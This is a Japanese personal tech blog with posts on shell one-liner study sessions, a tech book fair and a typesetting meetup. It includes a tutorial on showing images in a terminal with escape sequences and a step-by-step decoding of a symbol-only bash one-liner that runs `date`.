ニュース
jus共催 第41回(中略)シェル芸勉強会 に参加しました
jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会¶
このタイトルなんですが、bashとshufコマンドの機能で出力結果が変化します
$ shuf -n1 -e jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会
第41回ウンブハイブ無罪シェル芸勉強会
$ shuf -n1 -e jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会
第41回ウンンブハイブ有罪シェル芸勉強会
$ shuf -n1 -e jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会
第41回ガクチンコインブラブライブ有罪シェル芸勉強会
$ shuf -n1 -e jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会
第41回チンブイブ無罪シェル芸勉強会
$ shuf -n1 -e jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会
第41回ガクコインハ有罪シェル芸勉強会
今回は相対的に優しい問題だった(解けるとは言っていない)
【問題と解答】jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会 | 上田ブログ¶
null
jus共催 第41回{ウン,ガク,}{チ,ト,}{,ン}{,コイン}{ブ,}{ラブラ,ハ,}{,イブ}{無,有}罪シェル芸勉強会¶
2019年4月27日 さくらインターネットさんのセミナールームにて問題と解答例:
午前:鳥海さんの資料¶
一年間に及んだ文字コードは今回で終わり。せっかくなので、過去6回分を記載する
文字コードの高度な情報の宝庫
特にUnicode絵文字結合が狂おしいほど好き
https://umidori.github.io/shellgei-36th-am/
https://umidori.github.io/shellgei-37th-am/
https://umidori.github.io/shellgei-38th-am/
https://umidori.github.io/shellgei-39th-am/
https://umidori.github.io/shellgei-40th-am/
https://umidori.github.io/shellgei-41th-am/
知見¶
いろんな便利なコマンドがあってヤバイ
そして、ググると大抵blacknonさんのサイトが1位でヒットして神
numfmt¶
数字を人の読みやすいように加工する『numfmt』コマンド
https://orebibou.com/2015/11/%E6%95%B0%E5%AD%97%E3%82%92%E4%BA%BA%E3%81%AE%E8%AA%AD%E3%81%BF%E3%82%84%E3%81%99%E3%81%84%E3%82%88%E3%81%86%E3%81%AB%E5%8A%A0%E5%B7%A5%E3%81%99%E3%82%8B%E3%80%8Enumfmt%E3%80%8F%E3%82%B3%E3%83%9E/
uconv¶
uconvコマンドを使ってローマ字⇔ひらがな/カタカナ変換をする
https://orebibou.com/2018/02/uconv%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%82%92%E4%BD%BF%E3%81%A3%E3%81%A6%E3%83%AD%E3%83%BC%E3%83%9E%E5%AD%97%E2%87%94%E3%81%B2%E3%82%89%E3%81%8C%E3%81%AA-%E3%82%AB%E3%82%BF%E3%82%AB%E3%83%8A/
numconv¶
numconv(1) - Linux man page
https://linux.die.net/man/1/numconv
多言語で表現された数値表現をニューメリックな表現に変換するコマンド
つまり、四もIVも4もⅣもこのコマンドを使うと 4 になる。
素晴らしい。。
LT¶
シェル芸でターミナルを動かす(CUIでのウィンドウ操作の仕方)¶
ぐりぐり動く
おおおおおおおwwwwwww #シェル芸 pic.twitter.com/m4RZVpD0CU
— 上田 隆一 (@ryuichiueda) 2019年4月27日
上田さんを圧縮¶
LTの現場では上田さんを限界を超えて圧縮したものをカラーパレットとして使用していた
草
プライバシーに配慮されたドット絵だ #シェル芸 pic.twitter.com/8WbrK35gLQ
— nmrmsys (@nmrmsys) 2019年4月27日
ワイ、ネタかぶりwww¶
ターミナルにウ●コを表示する。まさにインスタ蠅。 #シェル芸 pic.twitter.com/076hUg1kqJ
— Hisatoshi Onishi (@hisa0211) 2019年4月27日
技術書典6に行って頒布シマシタワー
どんどん規模が大きくなる技術書の同人誌販売イベント。
今回は頒布する側になりました。
戦利品¶
「Radare2で学ぶバイナリ解析入門」を書いたかんばやしさんと、非公式アフターで話したonotchさんとは同じ趣味(CTF)の話で大変盛り上がり、心の友となった(CTFあるある話超楽しいw)
そして、お気づきの人少なかったかもしれませんが、熱血バイナリアンTシャツも売っていました!(レア)
着るから!めっちゃ着るから!
難読化シェル芸の本¶
こ21 で頒布しておりました。
本を作る側の苦労と楽しさがよくわかった。
これは、端的に申し上げると最高であり、何が最高かというと語彙力不足でうまく表現できませんが、えーと、
ソフトウェアと同じで、何か作って喜んでくれる人がいると最高なんだけど、そういう人たちと(語彙力不足
- 買ってくださった方本当にありがとうございました
- 手にとってださったかた嬉しかったです(パラパラ見て、それでけっこう笑ってくれるのがたまらなく嬉しい)
- 一部の方にはサインしましたが汚くてなんかちょっと申し訳なく、もっとシュッと書けるようになりたい
- 引き続き販売しておりますので、気になりましたらサンプルなど眺めて頂ければと
技術書典これまでの変遷¶
ちなみに第一回から参加しておりました。記録がこれです。そびえ立つキマシタワー
回を追う毎に人が増えてるな~と思っていました。
ほら、初回は参加者が1400人、今回は一万人ですよ!ほんと終了時刻の17:00まで人がいっぱいでした。
この伸びだと三年後には10万人か
その他¶
- ipusironさんに挨拶して名刺もらったやったぜ(というかご本人が売りに来てるのかw)
- auth屋さんはシェル芸人
- におうコードの問題集のグランパさんの執筆環境最高(dockerで公開中)
ワイの書籍執筆は、こんな趣味を面白いと思ってくれる、みなさまのおかげでモチベーションが保てました。
この場を借りて御礼申し上げ奉り候えば、またいずこでお会いできる日を楽しみにしております。
ターミナルに画像を表示したい(難読化シェル芸本の表紙の秘密)
難読化シェル芸の世界の表紙の秘密
表紙にあるネコの目は、みなさんがよく使うターミナルで表示しているものです。
teratermでもrloginでも画像が表示できるんです。
ターミナルに画像を表示する¶
ターミナルの黒い画面を使って、こんなことができます。
文字(背景)に色を着けて画像のように表現することができます。
文字に色をつける¶
エスケープシーケンスと呼ばれる特殊な文字を使うことで文字に色をつけることができます。
エスケープシーケンスは、ターミナルやエディタから入力する場合、通常の文字入力と違って比較的複雑な操作を伴います。
tputコマンドを用いると比較的簡単にエスケープシーケンスを出力できます。
文字の装飾は下表の通りです。
説明 | tputでの出力方法 |
---|---|
全ての属性をリセット | tput sgr0 |
文字を太字に変更 | tput bold |
文字に下線 | tput rmul |
文字を点滅 | tput blink |
文字と背景色の反転 | tput rev |
文字への色付けもできます。環境に依存しますが、8色、または、256色が表現できます。
256色を順に表示するシェル芸を作りました。
まず、お使いのターミナルが256色を表示する設定になっていないかもしれません。
TERM環境変数で色数を制御してしているため、256色を表示できるように設定します。
$ export TERM='xterm-256color'
文字を256色分表示してみます。
$ for COLOR in {0..255};do echo -n "$(tput setaf $COLOR)";echo -n "$COLOR " ;done;tput sgr0;echo
同様に背景色も変更できます。
$ for COLOR in {0..255};do echo "$(tput setab $COLOR)";echo -n $COLOR ;done;tput sgr0;echo
ターミナルに画像を表示する¶
エスケープシーケンスで文字に色をつける方法はわかりました。
では、これで絵を描く…のは難しそうです。私は綺麗に描く自信がありません。
でもこれでドット絵作れますね!
画像を入力にして、変換できないでしょうか。
実は、そういったコマンドを作った方がいらっしゃいます。
いくつか種類がありますが、camというコマンドを使わせて頂きました。
camコマンド作った 〜 端末で画像を表示しよう
https://itchyny.hatenablog.com/entry/20130318/1363605537
インストール¶
製作者の案内に従ってインストールしましょう。
$ git clone https://github.com/itchyny/cam
$ cd ./cam
$ autoreconf -i
$ ./configure
$ make
$ sudo make install
使い方¶
画像ファイルを指定するだけです。
$ cam hoge.jpeg
画像形式によっては、以下のように表示され画像が表示されない場合があります。
$ cam fuga.jpg cam: fuga.jpg: progressive jpeg
これは、jpeg形式のファイルにはベースラインとプログレッシブという2種類があり、camはプログレッシブのjpegに対応していないためです。
そこで、ImageMagicのconvertを使って、プログレッシブをベースラインに変換して表示してみます。
以下のようにシェル芸で実現できます。
$ cam <(convert fuga.jpg -interlace none /dev/stdout)
camの出力結果をシェル芸にする¶
さあ完成に近づいてきました。
camが導入されていない環境でも、シェル芸でこの画像を表示したいです。
camによって変換された後は、エスケープシーケンスを含んだ文字列なので圧縮した上でbase64エンコードにしてみましょう。
だいぶコンパクトになりました。
表示する際は、逆にbase64デコードした上でgunzipで伸長すると元に戻ります。
これでどこでも画像を表示できる難読化シェル芸になりました。
$ cam <(convert fuga.jpg -interlace none /dev/stdout)|gzip -cf|base64 H4sIAJAxk1wAA+2cOW7kMBBF87lCJ3MEbXSr4cAH6Qs4mL5/OsAE00WgPljFRaTkn30YREui6rFW +fb8WsKf23N63Z7b/hk+l3V+/aamph5VT69fY9wINTU1YaWmvoQmrMfo6a2XLa3l+iHun3oATVhb 6XkXekX6/tb31aA38fuTeq0Y+v77QE1YT6UjKIXXjLUF7pIDQHrxVdwnvfhJNGE9RAtvJ8F6bKXS hrvBf+8yUF/77xg1Me2pkX8V7O37fxkW7a9tfK5B7yDrHmBfL64J6iFwikwyCaQuH0FHJ8K+BF+D Jr7E9Go6QvPNGAhkBYReSCBgqq+GIbNFO7Hemf0S01H0Amqx3pAy8oteH/m+rnDRB0hD+nwX20Zu yWczDkF/xMBS0oo9SCQDY11W/bHk7yJCGQyTyjz6dIPy4FRu692kHnGj4NsbGaCG0Pyhnn5D2AOh 7KPnVT3kR4DERZEvmwWhc7XwGq3PryDH8F7a6/5cMOddNxyPoYMSj6GuY7FaEy0WQiwaVXxEP0cO S8k+zw7WbKHSPftIXmaZ1fY3NFLqpVFmiEWVGmRQ0mAnXcs10D1ZrqWXVXNnHwRSAjvbDj+c63ew G5WOHNTzGcAaieniQ8pTpInx8xmxxbhtQ72pe88stEbUSFqlnsTNir390GR4uDYLpBjeXhDwvufF 9HxoQo8IcATvNW0EO7q+sLxN2Oa0AC3P813/nV23ZgFH1Q5IfNSIawM/qiOYlEF/QvRmk41hf19W VolPVWwal8vYjfjSl+xxVgM2Erk8c41ohnQ6uh9VkIyOm1D8jOlHzHabepQA+T1VNjoWj9FrSY7T FMdxqJABDEge+1UdB9JV3SRygfLaofis6fmEKEIfHsj+EMpIvxympNfQWw7zmo4cK7hDkGEhfUys CoAUjjGoB1EAkYIlIF9TL8QzxJCcQ4pKtmM2WXpxqEf55RyWdwFlWIgA+RC37yES5o9CS/tv3/OM CIqCZgOq6MACj/NwPFmaLUOO4m639J3L78Ni7sF/bG8e2inUAWhk49IpDzYUpEe0oEilU1bAU8nn 5g0G8aNP0psx2otFdXRtBADTEoRlBu1xDEPMARkIavwJipu49PqCBkq7OPdADsEIad3P+Uew78zM xzU1lNfw982xFjFQsiat3Y7V9ZOG8+c+JIX6v4qyffXnObS6ScPXDnpuFBdjZ9+aKGP1ZbI27atw wrzQHWIa4PL60Hyma8w5zcDhHM5lh9bfCCSm+wSboWdwGq3ntN3eSVn0W3XKcAYstAPREl5mBlDt Cekmo9gPuc4S11ZS5gR4pYpoA0fw7Y0KRsbvJQ7HmOau2cF3gPFnNqOONTWQqKGyj4RYLwGNW4Su CmP5s2V2JaNBAfO0azvS9Bs+ACRKytwRm1aZni+jGxg50nd9mRvTV0gkZfYmIsdjSieypKXG/QdE jCO8f8pxoMrlC3zAXF4SqQObu3MXJeigjr6BejzSk16iyZNimqOuVCckUXYmdia/WX85Ge1LVKQz WIm0KtipyapynARDampqwkpN/cM0YaWmPokmrNTUJ9GElZr6JJqwUlOfRP+DdXrdnl9L+P4LO26A MTyMAAA=
$ echo -n H4sIAJAxk1wAA+2cOW7kMBBF87lCJ3MEbXSr4cAH6Qs4mL5/OsAE00WgPljFRaTkn30YREui6rFW+fb8WsKf23N63Z7b/hk+l3V+/aamph5VT69fY9wINTU1YaWmvoQmrMfo6a2XLa3l+iHun3oATVhb6XkXekX6/tb31aA38fuTeq0Y+v77QE1YT6UjKIXXjLUF7pIDQHrxVdwnvfhJNGE9RAtvJ8F6bKXShrvBf+8yUF/77xg1Me2pkX8V7O37fxkW7a9tfK5B7yDrHmBfL64J6iFwikwyCaQuH0FHJ8K+BF+DJr7E9Go6QvPNGAhkBYReSCBgqq+GIbNFO7Hemf0S01H0Amqx3pAy8oteH/m+rnDRB0hD+nwX20ZuyWczDkF/xMBS0oo9SCQDY11W/bHk7yJCGQyTyjz6dIPy4FRu692kHnGj4NsbGaCG0Pyhnn5D2AOh7KPnVT3kR4DERZEvmwWhc7XwGq3PryDH8F7a6/5cMOddNxyPoYMSj6GuY7FaEy0WQiwaVXxEP0cOS8k+zw7WbKHSPftIXmaZ1fY3NFLqpVFmiEWVGmRQ0mAnXcs10D1ZrqWXVXNnHwRSAjvbDj+c63ewG5WOHNTzGcAaieniQ8pTpInx8xmxxbhtQ72pe88stEbUSFqlnsTNir390GR4uDYLpBjeXhDwvufF9HxoQo8IcATvNW0EO7q+sLxN2Oa0AC3P813/nV23ZgFH1Q5IfNSIawM/qiOYlEF/QvRmk41hf19WVolPVWwal8vYjfjSl+xxVgM2Erk8c41ohnQ6uh9VkIyOm1D8jOlHzHabepQA+T1VNjoWj9FrSY7TFMdxqJABDEge+1UdB9JV3SRygfLaofis6fmEKEIfHsj+EMpIvxympNfQWw7zmo4cK7hDkGEhfUysCoAUjjGoB1EAkYIlIF9TL8QzxJCcQ4pKtmM2WXpxqEf55RyWdwFlWIgA+RC37yES5o9CS/tv3/OMCIqCZgOq6MACj/NwPFmaLUOO4m639J3L78Ni7sF/bG8e2inUAWhk49IpDzYUpEe0oEilU1bAU8nn5g0G8aNP0psx2otFdXRtBADTEoRlBu1xDEPMARkIavwJipu49PqCBkq7OPdADsEIad3P+Uew78zMxzU1lNfw982xFjFQsiat3Y7V9ZOG8+c+JIX6v4qyffXnObS6ScPXDnpuFBdjZ9+aKGP1ZbI27atwwrzQHWIa4PL60Hyma8w5zcDhHM5lh9bfCCSm+wSboWdwGq3ntN3eSVn0W3XKcAYstAPREl5mBlDtCekmo9gPuc4S11ZS5gR4pYpoA0fw7Y0KRsbvJQ7HmOau2cF3gPFnNqOONTWQqKGyj4RYLwGNW4SuCmP5s2V2JaNBAfO0azvS9Bs+ACRKytwRm1aZni+jGxg50nd9mRvTV0gkZfYmIsdjSieypKXG/QdEjCO8f8pxoMrlC3zAXF4SqQObu3MXJeigjr6BejzSk16iyZNimqOuVCckUXYmdia/WX85Ge1LVKQzWIm0KtipyapynARDampqwkpN/cM0YaWmPokmrNTUJ9GElZr6JJqwUlOfRP+DdXrdnl9L+P4LO26AMTyMAAA= |base64 -d|gunzip
難読化シェル芸の世界の中表紙も…¶
同じ方法で作っています。
実行したのは以下
$ echo H4sIAC3WWlwAA51X32vbMBB+918hJ3TxmKO+FMbSgUtXQiirnjLKGI0vJaN7Gexpj/7bZ+t0J50sJfaOYFmK9Om+704/rNRM02TFvGHvngIz9YzR+vFpZD9nTK9p0PdFb7v5Lrj570pqqPYIgU5A+gdjF1Yh6rVtevUAZ/zRT3/ATeWwlqXsgY05CLAaaqrWtvdV1AkhwlGFm5Ib0AH9wXZ9L+E6iYaibQsaiT+t38IwbjzBwX4Qx2EmfULVabjkVsl8MMxNnaI6if8QM4v+D+2oibhDZxVqzISCOCUGY3YJcKyGUnpJhTtptABPPUf1FKkqB/PKXjSEC5TDJF1i8mCSvWt61MCEgJ5C1mq/S2EFgWE0ogPBUyVXRLOP8G6j/6n9d80h8hYH6yWG1wx/TG0PsT5bhA+nUM0zcTrWwC4kqIwyx4oAQgELON6xmFYm+7C7Mce3fp8mnL2AOSOLScMdXcptKsewXxV+ddtiAPJBT4Wffei6Vn1WbePTOZaIvdoJt1Le/epJbrq1Ahf+IHaAUH7UckTUCEhzrfqdrOP5R2plFkmapxZkjA4FGx71DDC7eq3hqK+jnLqZg8Yrx+7UJpKst2//4xoSvZWLzxbNBYjA+BACW31JHWvTlTPswimLNp2tPyCtbleMBiJNJrJd8hDr2yZKNn79Owlty25Y7CIC4ddJYHzBsCHdZm8n2cMmciwQrRTJBoFv5zY0shX1944FFIP3aX75eROCUf3ioqe0AGSwKiIAD5u4zUorBdJhvDCFll/yQAeHY51flvGB6L2yHSCbsojj7mMP+WvqCRXN4Axh0y5Z7jm5xK4PXABoTYNSK91UFV8k78pCAkCo33Dvu5BVnw5xDqFZIveHszFbLA6SAGRXncdtPpI1TTmeN7RYH3AfYP47DG3tvsxUf+LUeq3Vui9027bVCMVaq8oSALpBald0w6sCuseX/et6aJE7G/wDg0BJ0DIOAAA=|base64 -d|gunzip
おまけ¶
エスケープシーケンスを利用した面白いイタズラを作ったのを思い出しました、
すべてがFになりますので、Ctrl+c で止めてください。
$ C=$(tput cols);L=$(tput lines);while :;do x=$(($RANDOM%$C));y=$(($RANDOM%$L));printf "\\033[${y};${x}fF";done
$ C=$(tput cols);L=$(tput lines);while :;do x=$((($RANDOM%$C+$RANDOM%$C+$RANDOM%$C)/3));y=$((($RANDOM%$L+$RANDOM%$L+$RANDOM%$L)/3));printf "\\033[${y};${x}fF";done
エスケープシーケンスを使えばいろいろ面白いことができそうですね!
宣伝¶
技術書典では割引もあるみたいです!ぜひぜひ¶
変態の本、もとい、変態技術の本よろしくおねがいします
— kanata@技術書典6 こ21 (@kanata201612) 2019年4月3日
難読化シェル芸の本 4/24発売です
amazonでget! https://t.co/mQYj3ZMvQN
4/14 #技術書典 で先行発売! こ21 でお待ちしていますhttps://t.co/P51DnHR3LP
表紙が完成した! pic.twitter.com/sRyM0ubdiy
LTの資料¶
ターミナルに画像を表示する
https://www.slideshare.net/kanata1/ss-142580690
記号難読化シェル芸のやべーやつを解読してみた
2019年2月は、記号で作る難読化シェル芸がメガシンカした歴史的な月でした。
一度にたくさんの素敵な情報が集まって、私の思考回路はショート寸前です。
記号と英字2文字だけでbash
https://www.ryotosaito.com/blog/?p=178
記号だけでシェルは操れた
https://www.ryotosaito.com/blog/?p=194
34C3 CTF minbashmaxfun - writeup
https://hack.more.systems/writeup/2017/12/30/34c3ctf-minbashmaxfun/
そんな中やべーやつが開発されます。yamayaさんという方が作成した記号だけのdateです。
$ _(){ __=$@;};_ /*/$$/../?????-*;_ ${__##*-};$(${__%?????} '!-:' ^-~<<<"'\$${#__}(") 2019年 2月 28日 木曜日 12:37:56 JST
こんなに短いのに全て記号で、そしてちゃんとdateとして動作します。美しい…そして恐ろしい…
人の褌で相撲を取るようで大変恐縮なのですが、これが埋もれてしまうのは人類の損失のような気がしたので、解読してみました。
大きく、4パートに分かれます。
$ _(){ __=$@;};_ /*/$$/../?????-*;_ ${__##*-};$(${__%?????} '!-:' ^-~<<<"'\$${#__}(") ^^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^ ^^^^^^^^^^^ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ ① ② ③ ④
①関数_の定義¶
_(){ __=$@;}
関数_を定義しています。$@が特殊なシェル変数になります。動作は「変数__に関数の全引数の内容を設定する」という動作になっています。
②一意なディレクトリパスの取得¶
_ /*/$$/../?????-*
さっそく関数_が実行されています。引数に渡されている /*/$$/../?????-* は、ワイルドカード(glob)てすね。
/*/$$/../?????-* に一致するディレクトリは1つだけになりました。
/proc/[PID]/../sysrq-trigger というファイルが該当します。これはマジックSysRqキーと呼ばれるカーネル機能を制御するためのインタフェースになりますね。この機能を利用するわけではなく、triggerという文字列を取得するのが目的になっています。
※マジックSysRqキーは、カーネルのデバッグなどに使用されるやつです。昔、クラスタの動作確認するために、これを使って意図的にカーネルパニックさせた記憶があります。
③"trigger"の取得¶
_ ${__##*-}
ここから変数展開を使って-以降だけを切り取って、再び変数__に設定しています。
"trigger"で7文字になるのですが、この7という数字も最後に使われます。
④trでdateコマンドを生成する¶
ここは更に細かく分けました。
$( ${__%?????} '!-:' ^-~ <<<"'\$${#__}(" ) ^^^^ ^^^^^^^^^^^ ^^^^^^^^^ ^^^^^^^^^^^^^^^ ^^^^ ④-1 ④-2 ④-3 ④-4 ④-1
④-1¶
$( )
コマンド置換ですね。最終的にこのカッコの中がdateになれば、dateが実行されます。
④-2¶
${__%?????}
変数展開の機能を巧みに使って先頭ニ文字を切り出しています。triggerの頭ニ文字、trが取得されます。
④-3¶
'!-:' ^-~
trの範囲指定を巧みに使っています。!-: と ^-~ どいういう範囲でしょうか。
Asciiコードから確認してみます。
0x20 | 0x21 | 0x22 | 0x23 | 0x24 | 0x25 | 0x26 | 0x27 | 0x28 | 0x29 | 0x2A | 0x2B | 0x2C | 0x2D | 0x2E | 0x2F |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
space | ! | " | # | $ | % | & | ' | ( | ) | * | + | , | - | . | / |
0x30 | 0x31 | 0x32 | 0x33 | 0x34 | 0x35 | 0x36 | 0x37 | 0x38 | 0x39 | 0x3A | 0x3B | 0x3C | 0x3D | 0x3E | 0x3F |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | : | ; | < | = | > | ? |
0x40 | 0x41 | 0x42 | 0x43 | 0x44 | 0x45 | 0x46 | 0x47 | 0x48 | 0x49 | 0x4A | 0x4B | 0x4C | 0x4D | 0x4E | 0x4F |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
@ | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O |
0x50 | 0x51 | 0x52 | 0x53 | 0x54 | 0x55 | 0x56 | 0x57 | 0x58 | 0x59 | 0x5A | 0x5B | 0x5C | 0x5D | 0x5E | 0x5F |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
P | Q | R | S | T | U | V | W | X | Y | Z | [ | \ | ] | ^ | _ |
0x60 | 0x61 | 0x62 | 0x63 | 0x64 | 0x65 | 0x66 | 0x67 | 0x68 | 0x69 | 0x6A | 0x6B | 0x6C | 0x6D | 0x6E | 0x6F |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
` | a | b | c | d | e | f | g | h | i | j | k | l | m | n | o |
0x70 | 0x71 | 0x72 | 0x73 | 0x74 | 0x75 | 0x76 | 0x77 | 0x78 | 0x79 | 0x7A | 0x7B | 0x7C | 0x7D | 0x7E |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
p | q | r | s | t | u | v | w | x | y | z | { | | | } | ~ |
ここから考えると !-: は、0x21から0x3Aの範囲、^-~ は、0x5Eから0x7Eの範囲になります。
trで変換される変換表を作ってみます。
! | " | # | $ | % | & | ' | ( | ) | * | + | , | - | . | / | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | : |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
^ | _ | ` | a | b | c | d | e | f | g | h | i | j | k | l | m | n | o | p | q | r | s | t | u | v | w |
dateの変換前の文字は '$7( ですね。
④-4¶
<<< "'\$${#__}("
<<<は、ヒアストリングという機能になります。通常、変換したい文字はパイプ経由でtrに渡しますが、これでも渡すことができます。
渡している文字は"'\$${#__}("です。この中の ${#__} は"trigger"の文字数を返す変数展開です。7ですね!
ゴールが見えてきました。
①〜④まとめ¶
まとめると、以下になります。
$ _(){ __=$@;} # ①関数_の定義 $ _ /*/$$/../?????-* # ②一意なディレクトリパスの取得 $ echo $__ /proc/16120/../sysrq-trigger $ _ ${__##*-} # ③"trigger"の取得 $ echo $__ trigger $ echo ${__%?????} # ④-2 "trigger"からtrを取り出す tr $ echo ${__%?????} '!-:' ^-~ # 結果としてtrが実行できる tr !-: ^-~ $ echo ${#__} # ④-3 "trigger"の文字数から7を生み出す 7 $ cat <<<"'\$${#__}(" # ④-4 ヒアストリングでtrの入力にする '$7( $ $(${__%?????} '!-:' ^-~<<<"'\$${#__}(") # ④-1 $(tr '!-:' ^-~ <<< "'\$7(" ) を実行 2019年 2月 28日 木曜日 12:54:22 JST
おわかりいただけたでしょうか…
ここまでくるともはや芸術品...!
出典は、ココのコメントにあります。
記号だけで Hello world したやべーやつもありますねw
2019.3.7 yamayaさん新作が以下になります¶
$ : /*/$$/../?????-*;: ${_##*-};$(${_%?????} '!-:' ^-~<<<"'\$${#_}(") 2019年 3月 7日 木曜日 22:51:09 JST
より短い!なぜこれでdateが実行できるか解読してみよう!
技術同人誌組版の今と闇を語る(愚痴る)会 に参加しました
技術同人誌組版の今と闇を語る(愚痴る)会 (2019/02/17 17:00〜)¶
概要 本を作るのに、どんなソフト/環境でやってますか? Re:view?Markdown?Word?InDesign? どれもこれも、いい面もあれば悪い面もあり、我慢ならないクソな部分もあろうかと思います。 コンピュータで組版をする世の中になってはや30年(適当ですが)経ちましたが、 未だに決定打がないとはどういうことか? というわけで、同人誌執筆者が集まって、組版に関する光と闇を共有する会です。 # 参加するといいことある人 * 執筆環境に不満がある人 * 他の環境を試してみたいが、行き先がわからない人 * 本(技術同人誌)を書いてみようと思っている人 ...
同人誌執筆者が集まって、組版に関する光と闇を共有する会でした。
LTしました¶
補足¶
LTした時の現場の議論はこんな感じ
- Microsoft Print to PDF は実はアウトラインも飛ばしちゃうらしい(まるっと画像化しているらしい)
- Microsoft Print to PDF のフォント埋め込みは、必要最低限じゃなくて、まるっとフォント全部取り込むのでPDFのサイズが増えるらしい
- Type3フォントは印刷所的には、やっぱりあるとダメらしい
Microsoft Print to PDF は無料でフォント問題を解決できるので個人的にはやはり神
グラフィックレコーディングしてもらった¶
嬉しい
kanataさんのフォントの話です #組版の光と闇 pic.twitter.com/R1MY3xqccA
— kondoyuko🌼デブサミ2019 (@kondoyuko) 2019年2月17日
技術同人誌組版の今と闇を語る(愚痴る)会 #組版の光と闇 手がきメモまとめ|kondoyuko|note¶
技術同人誌組版の今と闇を語る(愚痴る)会 #組版の光と闇 手がきメモまとめ
参考¶
この環境がなかったら諦めてた
技術書典6に向けての Re:VIEW+CSS組版 環境構築 - 圧倒亭グランパのブログ¶
前回の技術書典5では、 Re:VIEW+ CSS 組版 にチャレンジしました。 at-grandpa.hatenablog.jp 今回もこの構成で行こうと思っていますが、docker周りが複雑で分かりづらかったのと、自分の リポジトリとして公開してもいいかなと思ったので取り組みました。また、 Re:VIEW がちょうど3.0.0になったので、良い機会だと思いました。 公開している リポジトリ は以下です。 主にできることは以下です。 その他のコマンドは、 リポジトリルートで make help と打ってください。 サンプルとして説明書PDFを生成できるようにしています。 git clone して make setup と make pdf を実行すれば生成されます。 PDFのリンクは、 リポジトリ の README.md とリリースページにありますので、お好きにダウンロードしてください。 cloneした リポジトリにある説明書PDFを元に、いろいろと試行錯誤していただくのが一番早いと思います。 Re:VIEWの初期生成 ディレクトリを用いたい場合は、 make init とすれば ./articles 以下を初期化できます。 よりよい Re:VIEW+ CSS 組版環境にしたいと思っています。もしなにかお気付きの場合はPRを作っていただくか、issueをお待ちしています。もしくは Twitter で @at_grandpa までご連絡ください。 前回はデザインに時間を取られてしまいましたが、今回はそこは反省点として、しっかりと執筆時間を確保したいと思います。 抽選受かってほしい!当日、みなさんお会いしましょう!
jus共催 第40回記念光明星節シェル芸勉強会 に参加しました
jus共催 第40回記念光明星節シェル芸勉強会¶
jus共催 第40回シェル芸勉強会リンク集 | 上田ブログ¶
null
jus共催 第40回記念光明星節シェル芸勉強会¶
北朝鮮シェル芸地獄巡り(しなさい)出題: サムネイルの画像: から
午前:鳥海さんの資料
reveal.js¶
Unicodeの用語解説 * UCS * ISO/IEC 10646が定義する文字コード集合のこと * 4バイトの符号のUCS-4とそのサブセットのUCS-2がある * UTF * UCSで文字に対応付けた符号位置をコンピュータが利用できるバイト列に変換する方式のこと
知見¶
Unicode Consortium は 面白いUnicodeの仕様の宝庫¶
たとえば、これとか
https://unicode.org/Public/UNIDATA/NamesList.txt
他にもいっぱいある
https://unicode.org/Public/UNIDATA/
いっぱいある面白いなー #シェル芸https://t.co/TRHv10zY6a
— kanata (@kanata201612) 2019年2月16日
sed(ここから、ここまで、で抜き出す)¶
よく忘れて毎回ググる
$ cat a 1972 ミュンヘン 1 1 3 5 1976 モントリオール 1 1 0 2 1980 モスクワ 0 3 2 5 1984 ロサンゼルス 不参加 1988 ソウル 不参加 1992 バルセロナ 4 0 5 9 1996 アトランタ 2 1 2 5 2000 シドニー 0 1 3 4 2004 アテネ 0 4 1 5 2008 北京 2 1 3 6 2012 ロンドン 4 0 2 6 2016 リオデジャネイロ 2 3 2 7 1964 インスブルック 0 1 0 1 1968 グルノーブル 不参加 1972 札幌 0 0 0 0 1976 インスブルック 不参加 1980 レークプラシッド 不参加 1984 サラエボ 0 0 0 0 1988 カルガリー 0 0 0 0 1992 アルベールビル 0 0 1 1 1994 リレハンメル 不参加 1998 長野 0 0 0 0 2002 ソルトレイクシティ 不参加 2006 トリノ 0 0 0 0 2010 バンクーバー 0 0 0 0 2014 ソチ 不参加 $ cat a | sed -n '/1972 ミュンヘン/,/2016 リオデジャネイロ/p' 1972 ミュンヘン 1 1 3 5 1976 モントリオール 1 1 0 2 1980 モスクワ 0 3 2 5 1984 ロサンゼルス 不参加 1988 ソウル 不参加 1992 バルセロナ 4 0 5 9 1996 アトランタ 2 1 2 5 2000 シドニー 0 1 3 4 2004 アテネ 0 4 1 5 2008 北京 2 1 3 6 2012 ロンドン 4 0 2 6 2016 リオデジャネイロ 2 3 2 7
numsum¶
パイプ越しに複数の数字を流すと全部足してくれる便利なコマンドnumsum
俺的備忘録 〜なんかいろいろ〜 - 『numutils』でLinuxコンソール上での計算を簡単に行えるようにする
shuf -rn3¶
- rオプション:入力の中からランダムに選択して無限に表示
- n3オプション:3個だけ出力
$ echo -e "a\nb\nc"|shuf -rn3
c
a
a
